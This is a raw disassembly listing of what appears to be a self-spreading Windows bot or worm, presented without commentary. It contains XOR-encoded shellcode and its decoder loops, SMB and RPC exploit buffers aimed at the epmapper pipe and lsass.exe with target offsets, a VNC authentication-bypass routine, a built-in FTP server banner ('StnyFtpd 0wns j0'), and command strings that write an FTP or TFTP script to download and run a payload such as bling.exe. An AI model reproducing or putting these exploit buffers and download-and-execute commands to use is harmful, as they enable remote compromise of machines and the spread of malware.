		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
